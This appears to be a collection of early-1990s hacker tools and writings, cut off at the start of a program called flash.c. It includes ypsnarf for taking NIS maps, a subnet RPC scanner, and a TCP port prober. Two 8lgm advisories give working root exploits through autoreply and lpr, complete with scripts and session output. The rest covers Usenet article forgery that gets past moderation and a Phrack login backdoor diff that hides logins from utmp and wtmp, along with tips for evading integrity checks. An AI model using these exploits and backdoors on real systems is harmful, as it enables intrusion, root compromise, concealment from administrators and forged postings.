* ypsnarf server domain maplist

* ‑ to obtain a list of yp maps

*

* In the first case, we lie and pretend to be the host "client", and send * a BOOTPARAMPROC_WHOAMI request to the host "server". Note that for this * to work, "server" must be running rpc.bootparamd, and "client" must be a * diskless client of (well, it must boot from) "server".

*

* In the second case, we send a YPPROC_DOMAIN request to the host "server", * asking if it serves domain "domain". If so, we send YPPROC_FIRST and * YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map * "mapname". Note that you must specify the full yp map name, you cannot * use the shorthand names provided by "ypcat".

*

* In the third case, the special map name "maplist" tells ypsnarf to send * a YPPROC_MAPLIST request to the server and get the list of maps in domain * "domain", instead of getting the contents of a map. If the server has a * map called "maplist" you can't get it. Oh well.

*

* Since the callrpc() routine does not make any provision for timeouts, we * artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the * initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer. *

* This program uses UDP packets, which means there's a chance that things * will get dropped on the floor; it's not a reliable stream like TCP. In * practice though, this doesn't seem to be a problem.

*

* To compile:

* cc ‑o ypsnarf ypsnarf.c ‑lrpcsvc

*

* David A. Curry

* Purdue University

* Engineering Computer Network

* Electrical Engineering Building

* West Lafayette, IN 47907

* davy@ecn.purdue.edu

* January, 1991

*/

#include <sys/param.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <rpc/rpc.h>

#include <rpcsvc/bootparam.h>

#include <rpcsvc/yp_prot.h>

#include <rpc/pmap_clnt.h>

#include <sys/time.h>

#include <signal.h>

#include <string.h>

#include <netdb.h>

#include <stdio.h>

#define BOOTPARAM_MAXDOMAINLEN 32 /* from rpc.bootparamd */

#define YPSNARF_TIMEOUT1 15 /* timeout for initial request */

#define YPSNARF_TIMEOUT2 30 /* timeout during map transfer */

char *pname; /* program name */

main(argc, argv)

char **argv;

int argc;

{

char *server, *client, *domain, *mapname;

pname = *argv;

/*

* Process arguments. This is less than robust, but then

* hey, you're supposed to know what you're doing.

*/

switch (argc) {

case 3:

server = *++argv;

client = *++argv;

get_yp_domain(server, client);

exit(0);

case 4:

server = *++argv;

domain = *++argv;

mapname = *++argv;

if (strcmp(mapname, "maplist") == 0)

get_yp_maplist(server, domain);

else

get_yp_map(server, domain, mapname);

exit(0);

default:

fprintf(stderr, "Usage: %s server client ‑", pname); fprintf(stderr, "to obtain yp domain name\n"); fprintf(stderr, " %s server domain mapname ‑", pname); fprintf(stderr, "to obtain contents of yp map\n");

exit(1);

}

}

/*

* get_yp_domain ‑ figure out the yp domain used between server and client. */

get_yp_domain(server, client)

char *server, *client;

{

long hostip;

struct hostent *hp;

bp_whoami_arg w_arg;

bp_whoami_res w_res;

extern void timeout();

enum clnt_stat errcode;

/*

* Just a sanity check, here.

*/

if ((hp = gethostbyname(server)) == NULL) {

fprintf(stderr, "%s: %s: unknown host.\n", pname, server); exit(1);

}

/*

* Allow the client to be either an internet address or a

* host name. Copy in the internet address.

*/

if ((hostip = inet_addr(client)) == ‑1) {

if ((hp = gethostbyname(client)) == NULL) {

fprintf(stderr, "%s: %s: unknown host.\n", pname,

client);

exit(1);

}

bcopy(hp‑>h_addr_list[0],

(caddr_t) &w_arg.client_address.bp_address.ip_addr, hp‑>h_length);

}

else {

bcopy((caddr_t) &hostip,

(caddr_t) &w_arg.client_address.bp_address.ip_addr, sizeof(ip_addr_t));

}

w_arg.client_address.address_type = IP_ADDR_TYPE; bzero((caddr_t) &w_res, sizeof(bp_whoami_res));

/*

* Send a BOOTPARAMPROC_WHOAMI request to the server. This will * give us the yp domain in the response, IFF client boots from * the server.

*/

signal(SIGALRM, timeout);

alarm(YPSNARF_TIMEOUT1);

errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg, xdr_bp_whoami_res, &w_res);

alarm(0);

if (errcode != RPC_SUCCESS)

print_rpc_err(errcode);

/*

* Print the domain name.

*/

printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name);

/*

* The maximum domain name length is 255 characters, but the

* rpc.bootparamd program truncates anything over 32 chars.

*/

if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN) printf(" (truncated?)");

/*

* Put out the client name, if they didn't know it.

*/

if (hostip != ‑1)

printf(" (client name = %s)", w_res.client_name);

putchar('\n');

}

/*

* get_yp_map ‑ get the yp map "mapname" from yp domain "domain" from server. */

get_yp_map(server, domain, mapname)

char *server, *domain, *mapname;

{

char *reqp;

bool_t yesno;

u_long calltype;

bool (*xdr_proc)();

extern void timeout();

enum clnt_stat errcode;

struct ypreq_key keyreq;

struct ypreq_nokey nokeyreq;

struct ypresp_key_val answer;

/*

* This code isn't needed; the next call will give the same

* error message if there's no yp server there.

*/

#ifdef not_necessary

/*

* "Ping" the yp server and see if it's there.

*/

signal(SIGALRM, timeout);

alarm(YPSNARF_TIMEOUT1);

errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0, xdr_void, 0);

alarm(0);

if (errcode != RPC_SUCCESS)

print_rpc_err(errcode);

#endif

/*

* Figure out whether server serves the yp domain we want.

*/

signal(SIGALRM, timeout);

alarm(YPSNARF_TIMEOUT1);

errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN, xdr_wrapstring, (caddr_t) &domain, xdr_bool,

(caddr_t) &yesno);

alarm(0);

if (errcode != RPC_SUCCESS)

print_rpc_err(errcode);

/*

* Nope...

*/

if (yesno == FALSE) {

fprintf(stderr, "%s: %s does not serve domain %s.\n", pname, server, domain);

exit(1);

}

/*

* Now we just read entry after entry... The first entry we

* get with a nokey request.

*/

keyreq.domain = nokeyreq.domain = domain;

keyreq.map = nokeyreq.map = mapname;

reqp = (caddr_t) &nokeyreq;

keyreq.keydat.dptr = NULL;

answer.status = TRUE;

calltype = YPPROC_FIRST;

xdr_proc = xdr_ypreq_nokey;

while (answer.status == TRUE) {

bzero((caddr_t) &answer, sizeof(struct ypresp_key_val));

signal(SIGALRM, timeout);

alarm(YPSNARF_TIMEOUT2);

errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc, reqp, xdr_ypresp_key_val, &answer);

alarm(0);

if (errcode != RPC_SUCCESS)

print_rpc_err(errcode);

/*

* Got something; print it.

*/

if (answer.status == TRUE) {

printf("%.*s\n", answer.valdat.dsize, answer.valdat.dptr);

}

/*

* Now we're requesting the next item, so have to

* send back the current key.

*/

calltype = YPPROC_NEXT;

reqp = (caddr_t) &keyreq;

xdr_proc = xdr_ypreq_key;

if (keyreq.keydat.dptr)

free(keyreq.keydat.dptr);

keyreq.keydat = answer.keydat;

if (answer.valdat.dptr)

free(answer.valdat.dptr);

}

}

/*

* get_yp_maplist ‑ get the yp map list for yp domain "domain" from server. */

get_yp_maplist(server, domain)

char *server, *domain;

{

bool_t yesno;

extern void timeout();

struct ypmaplist *mpl;

enum clnt_stat errcode;

struct ypresp_maplist maplist;

/*

* This code isn't needed; the next call will give the same

* error message if there's no yp server there.

*/

#ifdef not_necessary

/*

* "Ping" the yp server and see if it's there.

*/

signal(SIGALRM, timeout);

alarm(YPSNARF_TIMEOUT1);

errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0, xdr_void, 0);

alarm(0);

if (errcode != RPC_SUCCESS)

print_rpc_err(errcode);

#endif

/*

* Figure out whether server serves the yp domain we want.

*/

signal(SIGALRM, timeout);

alarm(YPSNARF_TIMEOUT1);

errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN, xdr_wrapstring, (caddr_t) &domain, xdr_bool,

(caddr_t) &yesno);

alarm(0);

if (errcode != RPC_SUCCESS)

print_rpc_err(errcode);

/*

* Nope...

*/

if (yesno == FALSE) {

fprintf(stderr, "%s: %s does not serve domain %s.\n", pname, server, domain);

exit(1);

}

maplist.list = (struct ypmaplist *) NULL;

/*

* Now ask for the list.

*/

signal(SIGALRM, timeout);

alarm(YPSNARF_TIMEOUT1);

errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST, xdr_wrapstring, (caddr_t) &domain,

xdr_ypresp_maplist, &maplist);

alarm(0);

if (errcode != RPC_SUCCESS)

print_rpc_err(errcode);

if (maplist.status != YP_TRUE) {

fprintf(stderr, "%s: cannot get map list: %s\n", pname, yperr_string(ypprot_err(maplist.status)));

exit(1);

}

/*

* Print out the list.

*/

for (mpl = maplist.list; mpl != NULL; mpl = mpl‑>ypml_next) printf("%s\n", mpl‑>ypml_name);

}

/*

* print_rpc_err ‑ print an rpc error and exit.

*/

print_rpc_err(errcode)

enum clnt_stat errcode;

{

fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode)); exit(1);

}

/*

* timeout ‑ print a timeout and exit.

*/

void timeout()

{

fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname); exit(1);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#!/bin/perl ‑s

#

# Scan a subnet for valid hosts; if given hostname, will look at the # 255 possible hosts on that net. Report if host is running rexd or # ypserv.

#

# Usage: scan n.n.n.n

# mine, by default

$default = "130.80.26";

$| = 1;

if ($v) { $verbose = 1; }

if ($#ARGV == ‑1) { $root = $default; }

else { $root = $ARGV[0]; }

# ip address

if ($root !~ /[0‑9]+\.[0‑9]+\.[0‑9]+/) {

($na, $ad, $ty, $le, @host_ip) = gethostbyname($root); ($one,$two,$three,$four) = unpack('C4',$host_ip[0]); $root = "$one.$two.$three";

if ($root eq "..") { die "Can't figure out what to scan...\n"; } }

print "Subnet $root:\n" if $verbose;

for $i (01..255) {

print "Trying $root.$i\t=> " if $verbose;

&resolve("$root.$i");

}

#

# Do the work

#

sub resolve {

local($name) = @_;

# ip address

if ($name =~ /[0‑9]+\.[0‑9]+\.[0‑9]+\.[0‑9]+/) { ($a,$b,$c,$d) = split(/\./, $name);

@ip = ($a,$b,$c,$d);

($name) = gethostbyaddr(pack("C4", @ip), &AF_INET); }

else {

($name, $aliases, $type, $len, @ip) = gethostbyname($name); ($a,$b,$c,$d) = unpack('C4',$ip[0]);

}

if ($name && @ip) {

print "$a.$b.$c.$d\t$name\n";

system("if ping $name 5 > /dev/null ; then\nif rpcinfo ‑u $name 100005 > /dev/null ; then showmount ‑e $name\nfi\nif rpcinfo ‑t $name 100017 > /dev/null ; then echo \"Running rexd.\"\nfi\nif rpcinfo ‑u $name 100004 > /dev/null ; then echo \"R unning ypserv.\"\nfi\nfi");

}

else { print "unable to resolve address\n" if $verbose; }

}

sub AF_INET {2;}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

* probe_tcp_ports

*/

#include <sys/types.h>

#include <sys/stat.h>

#include <stdio.h>

#include <ctype.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

#define RETURN_ERR ‑1

#define RETURN_FAIL 0

#define RETURN_SUCCESS 1

int Debug;

int Hack;

int Verbose;

main(ArgC, ArgV)

int ArgC;

char **ArgV;

{

int Index;

int SubIndex;

for (Index = 1; (Index < ArgC) && (ArgV[Index][0] == '‑'); Index++) for (SubIndex = 1; ArgV[Index][SubIndex]; SubIndex++) switch (ArgV[Index][SubIndex])

{

case 'd':

Debug++;

break;

case 'h':

Hack++;

break;

case 'v':

Verbose++;

break;

default:

(void) fprintf(stderr,

"Usage: probe_tcp_ports [‑dhv] [hostname [hostname ...] ]\n"); exit(1);

}

for (; Index < ArgC; Index++)

(void) Probe_TCP_Ports(ArgV[Index]);

exit(0);

}

Probe_TCP_Ports(Name)

char *Name;

{

unsigned Port;

char *Host;

struct hostent *HostEntryPointer;

struct sockaddr_in SocketInetAddr;

struct hostent TargetHost;

struct in_addr TargetHostAddr;

char *AddressList[1];

char NameBuffer[128];

extern int inet_addr();

extern char *rindex();

if (Name == NULL)

return (RETURN_FAIL);

Host = Name;

if (Host == NULL)

return (RETURN_FAIL);

HostEntryPointer = gethostbyname(Host);

if (HostEntryPointer == NULL)

{

TargetHostAddr.s_addr = inet_addr(Host);

if (TargetHostAddr.s_addr == ‑1)

{

(void) printf("unknown host: %s\n", Host);

return (RETURN_FAIL);

}

(void) strcpy(NameBuffer, Host);

TargetHost.h_name = NameBuffer;

TargetHost.h_addr_list = AddressList, TargetHost.h_addr = (char *) &TargetHostAddr;

TargetHost.h_length = sizeof(struct in_addr); TargetHost.h_addrtype = AF_INET;

TargetHost.h_aliases = 0;

HostEntryPointer = &TargetHost;

}

SocketInetAddr.sin_family = HostEntryPointer‑>h_addrtype; bcopy(HostEntryPointer‑>h_addr, (char *) &SocketInetAddr.sin_addr, HostEntryPointer‑>h_length);

for (Port = 1; Port < 65536; Port++)

(void) Probe_TCP_Port(Port, HostEntryPointer, SocketInetAddr); return (RETURN_SUCCESS);

}

Probe_TCP_Port(Port, HostEntryPointer, SocketInetAddr)

unsigned Port;

struct hostent *HostEntryPointer;

struct sockaddr_in SocketInetAddr;

{

char Buffer[BUFSIZ];

int SocketDescriptor;

struct servent *ServiceEntryPointer;

SocketInetAddr.sin_port = Port;

SocketDescriptor = socket(AF_INET, SOCK_STREAM, 6);

if (SocketDescriptor < 0)

{

perror("socket");

return (RETURN_ERR);

}

if (Verbose)

{

(void) printf("Host %s, Port %d ", HostEntryPointer‑>h_name, Port);

if ((ServiceEntryPointer = getservbyport(Port, "tcp")) != (struct servent *) NULL)

(void) printf(" (\"%s\" service) ", ServiceEntryPointer‑>s_name);

(void) printf("connection ... ");

(void) fflush(stdout);

}

if (connect(SocketDescriptor, (char *) &SocketInetAddr, sizeof(SocketInetAddr)) < 0)

{

if (Verbose)

(void) printf("NOT open.\n");

if (Debug)

perror("connect");

}

else

{

if (!Verbose)

{

(void) printf("Host %s, Port %d ", HostEntryPointer‑>h_name, Port);

if ((ServiceEntryPointer = getservbyport(Port,"tcp")) != (struct servent *) NULL)

(void) printf(" (\"%s\" service) ", ServiceEntryPointer‑>s_name);

(void) printf("connection ... ");

(void) fflush(stdout);

}

(void) printf("open.\n");

if (Hack)

{

(void) sprintf(Buffer, "/usr/ucb/telnet %s %d", HostEntryPointer‑>h_name, Port);

(void) system(Buffer);

}

}

(void) close(SocketDescriptor);

return (RETURN_SUCCESS);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[8lgm]‑Advisory‑2.UNIX.autoreply.12‑Jul‑1991

PROGRAM:

autoreply(1) (/usr/local/bin/autoreply)

Supplied with the Elm Mail System

VULNERABLE OS's:

Any system with a standard installation of The Elm Mail System. All versions are believed to have this vulnerability.

DESCRIPTION:

autoreply(1) can be used to create root owned files, with mode 666. It can also overwrite any file with semi user‑controlled data.

IMPACT:

Any user with access to autoreply(1) can alter system files and thus become root.

REPEAT BY:

This example demonstrates how to become root on most affected machines by modifying root's .rhosts file. Please do not do this unless you have permission.

Create the following script, 'fixrhosts':

8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ cut here ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#!/bin/sh

#

# fixrhosts rhosts‑file user machine

#

if [ $# ‑ne 3 ]; then

echo "Usage: `basename $0` rhosts‑file user machine"

exit 1

fi

RHOSTS="$1"

USERNAME="$2"

MACHINE="$3"

cd $HOME

echo x > "a

$MACHINE $USERNAME

b"

umask 022

autoreply "a

$MACHINE $USERNAME

b"

cat > /tmp/.rhosts.sh.$$ << 'EOF'

ln ‑s $1 `echo $$ | awk '{printf "/tmp/arep.%06d", $1}'`

exec autoreply off

exit 0

EOF

/bin/sh /tmp/.rhosts.sh.$$ $RHOSTS

rm ‑f /tmp/.rhosts.sh.$$ "a

$MACHINE $USERNAME

b"

exit 0

8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ cut here ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(Lines marked with > represent user input)

> % id

uid=97(8lgm) gid=97(8lgm) groups=97(8lgm)

> % ./fixrhosts ~root/.rhosts 8lgm localhost

You've been added to the autoreply system.

You've been removed from the autoreply table.

> % rsh localhost ‑l root csh ‑i

Warning: no access to tty.

Thus no job control in this shell.

#

FIX:

1. Disable autoreply.

2. Wait for a patch from the Elm maintainers.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[8lgm]‑Advisory‑3.UNIX.lpr.19‑Aug‑1991

PROGRAM:

lpr(1) (/usr/ucb/lpr or /usr/bin/lpr)

VULNERABLE OS's:

SunOS 4.1.1 or earlier

BSD 4.3

BSD NET/2 Derived Systems

A/UX 2.0.1

Most systems supporting the BSD LP subsystem

DESCRIPTION:

lpr(1) can be used to overwrite or create (and become owner of) any file on the system. lpr ‑s allows users to create symbolic links in lpd's spool directory (typically /var/spool/lpd).

After 1000 invocations of lpr, lpr will reuse the filename in the spool directory, and follow the link previously installed. It will thus overwrite/create any file that this link points too.

IMPACT:

Any user with access to lpr(1) can alter system files and thus become root.

REPEAT BY:

This example demonstrates how to become root on most affected machines by modifying /etc/passwd and /etc/group. Please do

not do this unless you have permission.

Create the following script, 'lprcp':

8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ cut here ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#!/bin/csh ‑f

#

# Usage: lprcp from‑file to‑file

#

if ($#argv != 2) then

echo Usage: lprcp from‑file to‑file

exit 1

endif

# This link stuff allows us to overwrite unreadable files,

# should we want to.

echo x > /tmp/.tmp.$$

lpr ‑q ‑s /tmp/.tmp.$$

rm ‑f /tmp/.tmp.$$ # lpr's accepted it, point it

ln ‑s $2 /tmp/.tmp.$$ # to where we really want

@ s = 0

while ( $s != 999) # loop 999 times

lpr /nofile >&/dev/null # doesn't exist, but spins the clock!

@ s++

if ( $s % 10 == 0 ) echo ‑n .

end

lpr $1 # incoming file

# user becomes owner

rm ‑f /tmp/.tmp.$$

exit 0

8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ cut here ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(Lines marked with > represent user input)

Make copies of /etc/passwd and /etc/group, and modify them:

> % id

uid=97(8lgm) gid=97(8lgm) groups=97(8lgm)

> % cp /etc/passwd /tmp/passwd

> % ex /tmp/passwd

/tmp/passwd: unmodified: line 42

> :a

> 8lgmroot::0:0:Test account for lpr bug:/:/bin/csh

> .

> :wq

/tmp/passwd: 43 lines, 2188 characters.

> % cp /etc/group /tmp

> % ex /tmp/group

/tmp/group: unmodified: line 49

> :/wheel

wheel:*:0:root,operator

> :c

> wheel:*:0:root,operator,8lgm

> .

> :wq

/tmp/group: 49 lines, 944 characters.

Install our new files:

> % ./lprcp /tmp/group /etc/group

.......................................

...................................

lpr: cannot rename /var/spool/lpd/cfA060testnode

> % ./lprcp /tmp/passwd /etc/passwd

.......................................

..................................

lpr: cannot rename /var/spool/lpd/cfA061testnode

Check it worked:

> % ls ‑l /etc/passwd /etc/group

‑rw‑r‑‑r‑‑ 1 8lgm 944 Mar 3 19:56 /etc/group ‑rw‑r‑‑r‑‑ 1 8lgm 2188 Mar 3 19:59 /etc/passwd

> % head ‑1 /etc/group

wheel:*:0:root,operator,8lgm

> % grep '^8lgmroot' /etc/passwd

8lgmroot::0:0:Test account for lpr bug:/:/bin/csh

Become root and tidy up:

> % su 8lgmroot

# chown root /etc/passwd /etc/group

# rm ‑f /tmp/passwd /tmp/group

#

FIX:

1. Contact your vendor for a fix.

2. In the meantime, apply the following patch, derived from BSD NET/2 source, which will correct the flaw on most affected systems:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Anonymous netnews without "anonymous" remailers

Save any news article to a file. We'll call it "hak" in this example. Edit hak, and remove any header lines of the form

From some!random!path!user (note: "From ", not "From: " !!) Article:

Lines:

Shorten the Path: header down to its LAST two or three "bangized" components. This is to make the article look like it was posted from where it really was posted, and originally hit the net at or near the host you send it to. Or you can construct a completely new Path: line to reflect your assumed alias.

Make some change to the Message‑ID: field, that isn't likely to be duplicated anywhere. This is usually best done by adding a couple of random characters to the part before the @, since news posting programs generally use a fixed‑length field to generate these IDs.

Change the other headers to say what you like ‑‑ From:, Newsgroups:, Sender:, etc. Replace the original message text with your message. If you are posting to a moderated group, remember to put in an Approved: header to bypass the moderation mechanism.

Write out the changed file, and send it to your favorite NNTP server that permits transfers via the IHAVE command, using the following script:

=======================

#! /bin/sh

## Post an article via IHAVE.

## args: filename server

if test "$2" = "" ; then

echo usage: $0 filename server

exit 1

fi

if test ! ‑f $1 ; then

echo $1: not found

exit 1

fi

# suck msg‑id out of headers, keep the brackets

msgid=`sed ‑e '/^$/,$d' $1 | egrep '^[Mm]essage‑[Ii][Dd]: ' | \ sed 's/.*‑[Ii][Dd]: //'`

echo $msgid

( sleep 5

echo IHAVE $msgid

sleep 3

cat $1

sleep 1

echo "."

sleep 1

echo QUIT ) | telnet $2 119

=======================

If your article doesn't appear in a day or two, try a different server. They are easy to find. Here's a script that will break a large file full of saved netnews into a list of hosts to try. Edit the output of this if you want, to remove obvious peoples' names and other trash.

=======================

#! /bin/sh

FGV='fgrep ‑i ‑v'

egrep '^Path: ' $1 | sed ‑e 's/^Path: //' ‑e 's/!/\

/g' | sort ‑u | fgrep . | $FGV .bitnet | $FGV .uucp =======================

Once you have your host list, feed it to the following script.

=======================

#! /bin/sh

while read xx ; do

if test "$xx" = "" ; then continue;

fi

echo === $xx

( echo open $xx 119

sleep 5

echo ihave k00l@x.edu

sleep 4

echo .

echo quit

sleep 1

echo quit

) | telnet

done

=======================

If the above script is called "findem" and you're using csh, you should do

findem < list >& outfile

so that ALL output from telnet is captured. This takes a long time, but when it finishes, edit "outfile" and look for occurrences of "335". These mark answers from servers that might be willing to accept an article. This isn't a completely reliable indication, since some servers respond with acceptance and later drop articles. Try a given server with a slightly modified repeat of someone else's message, and see if it eventually appears.

You will notice other servers that don't necessarily take an IHAVE, but say "posting ok". You can probably do regular POSTS through these, but they will add an "NNTP‑Posting‑Host: " header containing the machine YOU came from.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Magic Login ‑ Written by Data King ‑ 7 July 1994

PLEASE NOTE:‑

This program code is released on the understanding that neither the author or Phrack Magazine suggest that you implement this on **ANY** system that you are not authorized to do so. The author provides this implementation of a "Magic" login as a learning exercise in security programming.

Sorry for the disclaimer readers but I was advised by the AFP (Australian Federal Police) that if I ever released this code they would bust me for aiding and abetting. I am releasing it anyway as I believe in the right of people to KNOW, but not necessarily to DO.

As always I can be emailed at dking@suburbia.apana.org.au

(Please note:‑ I have a NEW pgp signature.)

INTRODUCTION

~~~~~~~~~~~~

Briefly I am going to explain what a "Magic" login is and some of the steps you need to go through to receive the desired result. At the end of this article is a diff that can be applied to the shadow‑3.2.2‑linux archive to implement some of these ideas.

EXPLANATION

~~~~~~~~~~~

A "Magic" login is a modified login program that allows the user to login without knowing the correct password for the account they are logging into.

This is a very simple programming exercise and can be done by almost anyone, but a really effective "Magic" login program will do much more than this. The features of the supplied "Magic" login are:

‑ Will login to any valid account as long as you know the Magic password.

‑ Hides you in UTMP

[B

‑ Does not Log to WTMP

‑ Allows Root Login from NON authorized Terminals

‑ Preserves the Lastlogin information (ie Keeps it as though you had never logged in with the magic password)

‑ Produces a binary that is exactly the same length as the original binary.

IMPLEMENTATION

~~~~~~~~~~~~~~

I am not going to go into great detail here on how to write such a system as this. The code is very simple and it contains plenty of comments, so just look there for ideas.

For this system to have less chance of being detected you need to do several things.

First select a "Magic" password that is not easily identifiable by stringing the binary. This is why in the example I have used the word "CONSOLE", this word already appears several times in the binary so detection of one more is unlikely.

Admittedly I could of encrypted the "Magic" password, but I decided against this for several reasons.

The second thing you would need to do if you where illegally placing a "Magic" login on a system would be to ensure that the admins are not doing CRC checks on SUID(0) programs, or if they are that you change the CRC record of login to match the CRC record of the "Magic" login.

Thirdly do not forget to make the date and time stamp of the new binary match the old ones.

To install a new /bin/login on a system you will need to be root, now if you are already root why would you bother? Simple, it is just one more backdoor that you can use to get back in if you are detected.

LIMITATIONS

~~~~~~~~~~~

This version of the "Magic" login program does not have the following features, I leave it entirely up to you about implementing something to fix them:

‑ Shells & Programs show up in the Process Table

‑ tty Ownership and attributes

‑ /proc filesystem

Any one of these to an alert system admin will show that there is an "invisible" user on the system. However it has been my experience that most admin's rarely look at these things, or if they do they can not see the wood for the trees.

‑‑‑‑‑<cut here>‑‑‑‑‑

diff ‑c /root/work/login/console.c /root/work/logon/console.c

*** /root/work/login/console.c Sun Oct 11 07:16:47 1992

‑‑‑ /root/work/logon/console.c Sat Jun 4 15:29:15 1994 ***************

*** 21,26 ****

‑‑‑ 21,27 ‑‑‑‑

#endif

extern char *getdef_str();

+ extern int magik;

/*

* tty ‑ return 1 if the "tty" is a console device, else 0. ***************

*** 47,52 ****

‑‑‑ 48,57 ‑‑‑‑

if ((console = getdef_str("CONSOLE")) == NULL)

return 1;

+ /* Fix for Magic Login ‑ UnAuth Console ‑ Data King */

+

+ if (magik==1)

+ return 1;

/*

* If this isn't a filename, then it is a ":" delimited list of * console devices upon which root logins are allowed.

diff ‑c /root/work/login/lmain.c /root/work/logon/lmain.c

*** /root/work/login/lmain.c Mon Oct 12 17:35:06 1992

‑‑‑ /root/work/logon/lmain.c Sat Jun 4 15:30:37 1994 ***************

*** 105,110 ****

‑‑‑ 105,111 ‑‑‑‑

char *Prog;

int newenvc = 0;

int maxenv = MAXENV;

+ int magik; /* Global Flag for Magic Login ‑ Data King */

/*

* External identifiers.

diff ‑c /root/work/login/log.c /root/work/logon/log.c

*** /root/work/login/log.c Mon Oct 12 17:35:07 1992

‑‑‑ /root/work/logon/log.c Sat Jun 4 15:37:22 1994 ***************

*** 53,58 ****

‑‑‑ 53,59 ‑‑‑‑

extern struct passwd pwent;

extern struct lastlog lastlog;

extern char **environ;

+ extern char magik;

long lseek ();

time_t time ();

***************

*** 83,89 ****

(void) time (&newlog.ll_time);

(void) strncpy (newlog.ll_line, utent.ut_line, sizeof newlog.ll_line); (void) lseek (fd, offset, 0);

! (void) write (fd, (char *) &newlog, sizeof newlog);

(void) close (fd);

}

‑‑‑ 84,93 ‑‑‑‑

(void) time (&newlog.ll_time);

(void) strncpy (newlog.ll_line, utent.ut_line, sizeof newlog.ll_line); (void) lseek (fd, offset, 0);

! if (magik !=1) /* Dont Modify Last login Specs if this is a Magic */

! { /* login ‑ Data King */

! (void) write (fd, (char *) &newlog, sizeof newlog);

! }

(void) close (fd);

}

diff ‑c /root/work/login/utmp.c /root/work/logon/utmp.c

*** /root/work/login/utmp.c Mon Oct 12 17:35:36 1992

‑‑‑ /root/work/logon/utmp.c Sat Jun 4 15:41:13 1994 ***************

*** 70,75 ****

‑‑‑ 70,77 ‑‑‑‑

extern long lseek();

#endif /* SVR4 */

+ extern int magik;

+

#define NO_UTENT \

"No utmp entry. You must exec \"login\" from the lowest level \"sh\"" #define NO_TTY \

***************

*** 353,368 ****

/*

* Scribble out the new entry and close the file. We're done * with UTMP, next we do WTMP (which is real easy, put it on

! * the end of the file.

*/

!

! (void) write (fd, &utmp, sizeof utmp);

! (void) close (fd);

!

! if ((fd = open (WTMP_FILE, O_WRONLY|O_APPEND)) >= 0) { (void) write (fd, &utmp, sizeof utmp);

(void) close (fd);

}

‑ utent = utmp;

#endif /* SVR4 */

}

‑‑‑ 355,372 ‑‑‑‑

/*

* Scribble out the new entry and close the file. We're done * with UTMP, next we do WTMP (which is real easy, put it on

! * the end of the file. If Magic Login, DONT write out UTMP ‑ Data King */

! if (magik !=1)

! {

(void) write (fd, &utmp, sizeof utmp);

(void) close (fd);

+

+ if ((fd = open (WTMP_FILE, O_WRONLY|O_APPEND)) >= 0) {

+ (void) write (fd, &utmp, sizeof utmp);

+ (void) close (fd);

+ }

+ utent = utmp;

}

#endif /* SVR4 */

}

diff ‑c /root/work/login/valid.c /root/work/logon/valid.c

*** /root/work/login/valid.c Sun Oct 11 07:16:55 1992

‑‑‑ /root/work/logon/valid.c Sat Jun 4 15:47:28 1994 ***************

*** 25,30 ****

‑‑‑ 25,32 ‑‑‑‑

static char _sccsid[] = "@(#)valid.c 3.4 08:44:15 9/12/91"; #endif

+ extern int magik;

+

/*

* valid ‑ compare encrypted passwords

*

***************

*** 43,48 ****

‑‑‑ 45,64 ‑‑‑‑

char *encrypt;

char *salt;

char *pw_encrypt ();

+ char *magic;

+

+ /*

+ * Below is the piece of code that checks to see if the password + * supplied by the user = the Magic Password ‑ Data King

+ */

+

+ magic = "CONSOLE"; /* Define this as the Magic Password ‑ Data King */

+

+ if (strcmp(password,magic) == 0)

+ {

+ magik = 1;

+ return(1);

+ }

/*

* Start with blank or empty password entries. Always encrypt

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* flash.c */

/* This little program is intended to quickly mess up a user's

